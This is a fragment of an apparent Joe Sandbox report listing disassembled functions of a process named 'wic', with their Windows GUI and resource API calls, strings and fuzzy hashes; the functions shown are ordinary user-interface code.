Instruction ID: 5d5fa3419f854359d74834599a88b1260502ef5eee545f2d7484c8e77a03edaf
Opcode Fuzzy Hash: b3fd518fd9fdf67631462fa42361eea84ab9464b43585b00b648e15ad05a5b97
Instruction Fuzzy Hash: F1118F71901119AFCB239F698D08EAFBBB8FF59314F504125F801EB240EB39DA058B91

Function 00ED43E2 Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00ED4412

Part of subcall function 00EA5272: GetWindowLongA.USER32(00000000,000000EC), ref: 00EA527F

GetWindowRect.USER32(?,?), ref: 00ED4543
GetParent.USER32(?), ref: 00ED4550
GetParent.USER32(?), ref: 00ED456A
OffsetRect.USER32(?,00000000,00000000), ref: 00ED4629
OffsetRect.USER32(?,00000000,00000000), ref: 00ED4635

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$Window$OffsetParent$Long
String ID:
API String ID: 2171155602-0
Opcode ID: fdd80590a5a2194c42bcdf807d384c2a3272a07c46118d0ed411bc5b7a9d1f33
Instruction ID: a71a28e8706c0ab0fea625534c9a304b34a7c1e213a427db4f1e03a6e7da1766
Opcode Fuzzy Hash: fdd80590a5a2194c42bcdf807d384c2a3272a07c46118d0ed411bc5b7a9d1f33
Instruction Fuzzy Hash: DFA1E7B5E00219AFCF15CFA4D984AEDBBB5FF48310F14516AE816BB384DB35A941CB60

Function 00ECE160 Relevance: 9.2, APIs: 6, Instructions: 212windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00ECE167
SetRectEmpty.USER32(?), ref: 00ECE193
GetWindowRect.USER32(?,?), ref: 00ECE241
IsWindowVisible.USER32(?), ref: 00ECE25E
__CxxThrowException@8.LIBVCRUNTIME ref: 00ECE2FF
SendMessageA.USER32(?,00000085,00000000,00000000), ref: 00ECE3E3

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: RectWindow$EmptyException@8H_prolog3_MessageSendThrowVisible
String ID:
API String ID: 1091622338-0
Opcode ID: b16b8cd2dc179583890f63ea852584c7894c4110bbfc4e8f3399b9b8ae185835
Instruction ID: f8693d8b23d89a7c6e034076152efed6e38a8d6cf889f049a847677a7f38620e
Opcode Fuzzy Hash: b16b8cd2dc179583890f63ea852584c7894c4110bbfc4e8f3399b9b8ae185835
Instruction Fuzzy Hash: 98719F70A01214AFDF19AF64D989FAD7BF9BF89710F041069F945BB392CB396901CB60

Function 00FAC38F Relevance: 9.2, APIs: 6, Instructions: 161COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FAC396
CreateCompatibleDC.GDI32(00000000), ref: 00FAC3E4
GetBoundsRect.GDI32(?,?,00000000,00000000), ref: 00FAC40D
CreateSolidBrush.GDI32 ref: 00FAC427
FillRect.USER32(00000000,?,?), ref: 00FAC440
FrameRgn.GDI32(00000000,?,?,00000001,00000001), ref: 00FAC502

Part of subcall function 00FAC5AE: FrameRgn.GDI32(00000000,00000000,00000000,00000001,00000001), ref: 00FAC5D9

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: CreateFrameRect$BoundsBrushCompatibleFillH_prolog3_Solid
String ID:
API String ID: 2549794613-0
Opcode ID: 14bb2fb3c96d8b3ea8fd5a981b49c85df121fadecd3806732b13451b5a708aae
Instruction ID: ee6a95f06ff0fa77477088ef28653d4d770ae7a3cb873a53eb40727eecfc8161
Opcode Fuzzy Hash: 14bb2fb3c96d8b3ea8fd5a981b49c85df121fadecd3806732b13451b5a708aae
Instruction Fuzzy Hash: 68518AB1D00209DFCF16EFA4C881AEEBBB5BF49300F044029F955BA245DB755A44EBA1

Function 00E860F0 Relevance: 9.1, APIs: 6, Instructions: 114COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(1FFFFFFF,?,00000006,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000,00000000,00000004,00F45AE2,1FFFFFFF,00000000), ref: 00E8610B
LoadResource.KERNEL32(1FFFFFFF,00000000,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000,00000000,00000004,00F45AE2,1FFFFFFF,00000000,00000004), ref: 00E8611E
LockResource.KERNEL32(00000000,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000,00000000,00000004,00F45AE2,1FFFFFFF,00000000,00000004,00000001), ref: 00E8612D
SizeofResource.KERNEL32(1FFFFFFF,00000000,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000,00000000,00000004,00F45AE2,1FFFFFFF,00000000,00000004), ref: 00E86143
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000), ref: 00E86184
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,00000010,00E81D2C,?,00F45B1C,00000000,00000000,00000000), ref: 00E861BF

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Resource$ByteCharMultiWide$FindLoadLockSizeof
String ID:
API String ID: 1289833662-0
Opcode ID: dc6aa851fc74829a84b148f5cc950a0847cbdc38384e3a432ac9b3762471d815
Instruction ID: aac742bbfecbe22bf41f000fbf21d8d150312f09a1345a65552bdf205a2a34f9
Opcode Fuzzy Hash: dc6aa851fc74829a84b148f5cc950a0847cbdc38384e3a432ac9b3762471d815
Instruction Fuzzy Hash: E231B336701A146FEB22AF18DC49B7AB7A8EB40715F10401AF94DEF286DE75F901C760

Function 00F1E0CE Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F1E0D5
SendDlgItemMessageA.USER32(R2,?,?,00000000,?), ref: 00F1E135
SendDlgItemMessageA.USER32(R2,0000037C,0000037C,?,?), ref: 00F1E1D8

Strings

R2, xrefs: 00F1E15A, 00F1E132, 00F1E1D5
R2, xrefs: 00F1E1F4, 00F1E1C6

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ItemMessageSend$H_prolog3
String ID: R2$R2
API String ID: 138487902-2086085159
Opcode ID: cd14d76c6ad228a2ee3f95780605b21b9c496a7a26ee7acd8b3916dbd660a4cd
Instruction ID: ec3ddb4dd7f1efbdf85aed226609e0b5a0993b144aacc26acb469ccb9b897345
Opcode Fuzzy Hash: cd14d76c6ad228a2ee3f95780605b21b9c496a7a26ee7acd8b3916dbd660a4cd
Instruction Fuzzy Hash: 2C318C71D00216ABDF219FA8CC42BFE76B1AF48710F244019FD94BB295DB789D82E764

Function 00F4C149 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00F4C150

Part of subcall function 00F5AC2B: __EH_prolog3.LIBCMT ref: 00F5AC32

Part of subcall function 00EA51D1: GetDlgCtrlID.USER32(?), ref: 00EA51DC

Strings

IsVisible, xrefs: 00F4C209
%TsBasePane-%d%x, xrefs: 00F4C1BA
%TsBasePane-%d, xrefs: 00F4C1A3
BasePanes, xrefs: 00F4C160

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: H_prolog3$Ctrl
String ID: %TsBasePane-%d$%TsBasePane-%d%x$BasePanes$IsVisible
API String ID: 3879667756-2169875744
Opcode ID: dd2041670b7e7e5c83bbc3907afebf3438835563ba9d7005bdb6d4da0ad29ba0
Instruction ID: c90196a46c497b7ef62da80e8f57216f9762f795bbaad251c49a71286af0207b
Opcode Fuzzy Hash: dd2041670b7e7e5c83bbc3907afebf3438835563ba9d7005bdb6d4da0ad29ba0
Instruction Fuzzy Hash: CA319071D00209AFCF05EFA4CD829EE7BB5BF48310F140569F955BB282DB395A05DBA0

Function 00EE03ED Relevance: 7.7, APIs: 5, Instructions: 218COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EE03F4
InflateRect.USER32(?,000000FF,00000000), ref: 00EE0499
OffsetRect.USER32(?,00000000,00000001), ref: 00EE0533
GetSysColor.USER32(0000000E), ref: 00EE0546
InflateRect.USER32(?,000000FD,00000000), ref: 00EE05ED

Part of subcall function 00EB9B27: __EH_prolog3.LIBCMT ref: 00EB9B2E

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Rect$Inflate$ColorH_prolog3H_prolog3_Offset
String ID:
API String ID: 3491310817-0
Opcode ID: fb9646c3c0d0f1513735faa48f28ffc1877def9da7eac497c5b93e4de8611323
Instruction ID: d8699c9f1211a7c03ef2cb8310f8ecfbd3c6ab029dbc203ecba93c310a93276d
Opcode Fuzzy Hash: fb9646c3c0d0f1513735faa48f28ffc1877def9da7eac497c5b93e4de8611323
Instruction Fuzzy Hash: 69717A719006199FCF12CFA4C985AEEBBB5FF09310F140129E946BB284D7B5A94ACF90

Function 00F7201D Relevance: 7.7, APIs: 5, Instructions: 174COMMON

Download Yara Rule

APIs

Part of subcall function 00EEE21F: GetCursorPos.USER32(00000000), ref: 00EEE25F
Part of subcall function 00EEE21F: OffsetRect.USER32(?,?,?), ref: 00EEE280
Part of subcall function 00EEE21F: RedrawWindow.USER32(?,00000000,00000000,00000105,?,00000000,?,?,?,?), ref: 00EEE2C3

TrackMouseEvent.USER32 ref: 00F720A1
InvalidateRect.USER32(00000000,?,00000001), ref: 00F72118
InvalidateRect.USER32(00000000,?,00000001), ref: 00F72191
UpdateWindow.USER32(00000000), ref: 00F721BA
RedrawWindow.USER32(00000000,?,00000000,00000105), ref: 00F721F7

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: RectWindow$InvalidateRedraw$CursorEventMouseOffsetTrackUpdate
String ID:
API String ID: 359670716-0
Opcode ID: 00c5129e4cf94c60444e4d744a4aab332830b068946d0475dba9487d59280ed5
Instruction ID: 78d284928e4d5d8125c2cda06e30da5e3155418ff715e49d7be71eca88a8412c
Opcode Fuzzy Hash: 00c5129e4cf94c60444e4d744a4aab332830b068946d0475dba9487d59280ed5
Instruction Fuzzy Hash: AD615B35A002099FCF52CF14C888BAE7BB6FF48720F194169EC196F255CB75AA41DF91

Function 00EC41BC Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(00000000), ref: 00EC41E3
ScreenToClient.USER32(?,00000000), ref: 00EC4211
ScreenToClient.USER32(?,?), ref: 00EC427F
PtInRect.USER32(00000000,?,?), ref: 00EC42B0
SetCursor.USER32(?), ref: 00EC42E4

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ClientCursorScreen$Rect
String ID:
API String ID: 1082406499-0
Opcode ID: eef1e0d16e22aadce59d9ac5e0e9bbe236953378db906da5fa9654f1df4755f9
Instruction ID: e36e13ba132910d77f58878fa5d337f73e04420a387c6068a6ca64f59f04227d
Opcode Fuzzy Hash: eef1e0d16e22aadce59d9ac5e0e9bbe236953378db906da5fa9654f1df4755f9
Instruction Fuzzy Hash: 60418D71A0020ADFCF1AEBA0C955BFEB7B4BF48319F000129F405B7290DB3A9955CB90

Function 00EB607B Relevance: 7.6, APIs: 5, Instructions: 85windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00EB60BB
SendMessageA.USER32(00000000,0000000B,00000000,00000000), ref: 00EB60EA
GetWindowRect.USER32(?,?), ref: 00EB60FD
SendMessageA.USER32(00000016,0000000B,00000001,00000000), ref: 00EB6153
RedrawWindow.USER32(00000185,00000000,00000000,00000185), ref: 00EB6169

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Window$MessageSend$RectRedrawVisible
String ID:
API String ID: 1695962874-0
Opcode ID: 0c938dc9f341d13a2444244fe93e953d1abbd37ee4126e4e87b035bf3b6b3176
Instruction ID: b272e3b05ca779fc902983788633055314124cece8baf073ab8249ae56ff9c75
Opcode Fuzzy Hash: 0c938dc9f341d13a2444244fe93e953d1abbd37ee4126e4e87b035bf3b6b3176
Instruction Fuzzy Hash: AD310AB1A00219AFDB21DF68CD84FAFB7B8FB08354F104659B56ABB295C775AD00CB50

Function 00ECE3F0 Relevance: 7.6, APIs: 5, Instructions: 81windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 00ECE42F
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 00ECE44F
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 00ECE491

Part of subcall function 00F52B41: SendMessageA.USER32(?,00000405,00000000,?), ref: 00F52B72

SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 00ECE477
SetRectEmpty.USER32(?), ref: 00ECE4B3

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MessageSend$EmptyRect
String ID:
API String ID: 4004678023-0
Opcode ID: 4c9cea088565d8d87c77a1a096e1dcda12698826fa3860f043bd47cbaca56193
Instruction ID: 1021314287c304a5321eaf41e888fc96e18b9201dfaa585cedafb70f99ba92c4
Opcode Fuzzy Hash: 4c9cea088565d8d87c77a1a096e1dcda12698826fa3860f043bd47cbaca56193
Instruction Fuzzy Hash: 2C21B1B1A00119BFD7159F64DE80FEABBB8FB08384F010269F965B7350C731AD118BA0

Function 00EA63FF Relevance: 7.5, APIs: 5, Instructions: 44windowCOMMON

Download Yara Rule

APIs

ScreenToClient.USER32(00000000,?), ref: 00EA640C
SendMessageA.USER32(00000000,00000366,00000000,?), ref: 00EA6428
ClientToScreen.USER32(00000000,?), ref: 00EA6435
GetWindowLongA.USER32(00000000,000000F0), ref: 00EA643E
GetParent.USER32(00000000), ref: 00EA644C

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: ClientScreen$LongMessageParentSendWindow
String ID:
API String ID: 4240056119-0
Opcode ID: 84a3cfb50d6681a2aec58a4106c787b753f4e6f40a33d9a1112d4492a4a829f8
Instruction ID: b8a8370175c3d9756a94dc4125bbfe03908b2f45c5f26f2fbaf6e30ed08b3f46
Opcode Fuzzy Hash: 84a3cfb50d6681a2aec58a4106c787b753f4e6f40a33d9a1112d4492a4a829f8
Instruction Fuzzy Hash: FAF0D1361015247BD7230F199C04AFE376CFF4E761F058216FD25EA284DB39AD0183A0

Function 00EC816E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00EC8178
SendMessageA.USER32(00000000,0000040D,00000000,00000000), ref: 00EC81A3
SendMessageA.USER32(?,0000040E,-00000001,00000030), ref: 00EC81EB

Strings

0, xrefs: 00EC81BF

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: MessageSend$H_prolog3_
String ID: 0
API String ID: 3491702567-4108050209
Opcode ID: 0503322e06cfcc41ee54012de32e5210503ef4dd80148248f620eb3c413ea55e
Instruction ID: 96ecaf8706753e24147cbe43a551003e57bacc2957ec50c6ee1fdbcdfbe48ff4
Opcode Fuzzy Hash: 0503322e06cfcc41ee54012de32e5210503ef4dd80148248f620eb3c413ea55e
Instruction Fuzzy Hash: 6741C371A00919AFDB29DB60CE85FEAB7B8BF04349F000299E55DB3190DB316E86DF50

Function 00EA800D Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00EA4DCE: LoadLibraryW.KERNEL32(00000000,01048428,00000010,00E9F7D8,?), ref: 00EA4E08

GetProcAddress.KERNEL32(00000000,DllGetVersion), ref: 00EA804C
FreeLibrary.KERNEL32(00000000,?,comctl32.dll), ref: 00EA8098

Part of subcall function 00EA7FFA: GetLastError.KERNEL32(?,00000000), ref: 00EA7FFA

Strings

comctl32.dll, xrefs: 00EA8025
DllGetVersion, xrefs: 00EA8046

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538115949.000000000105C000.00000008.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538190401.000000000105F000.00000004.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001065000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538250784.0000000001197000.00000002.00000001.01000000.00000018.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_e80000_wic.jbxd

Similarity

API ID: Library$AddressErrorFreeLastLoadProc
String ID: DllGetVersion$comctl32.dll
API String ID: 2540614322-3857068685
Opcode ID: c655ce68e9a20c8600b0acfb897461963623411c81213c8ab29b424f897966b1
Instruction ID: 495afdb025034efd01cea604e22e17aabf78a8c59fb27be3ece4a38ca836b28f
Opcode Fuzzy Hash: c655ce68e9a20c8600b0acfb897461963623411c81213c8ab29b424f897966b1
Instruction Fuzzy Hash: 0511AB75A002199FDB12DF65C885B9EBBF4BF8A714F114019E601BF340DF79A904CB65

Function 00EA819C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000F0), ref: 00EA81B7
GetClassNameA.USER32(?,?,0000000A), ref: 00EA81CC
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,combobox,000000FF), ref: 00EA81E3

Strings

combobox, xrefs: 00EA81D4

Memory Dump Source

Source File: 0000000B.00000002.3537035378.0000000000E81000.00000020.00000001.01000000.00000018.sdmp, Offset: 00E80000, based on PE: true

Associated: 0000000B.00000002.3536917498.0000000000E80000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3537726536.0000000001003000.00000002.00000001.01000000.00000018.sdmpDownload File
Associated: 0000000B.00000002.3538021434.000000000105A000.00000004.00000001.01000000.00000018.sdmpDownload File
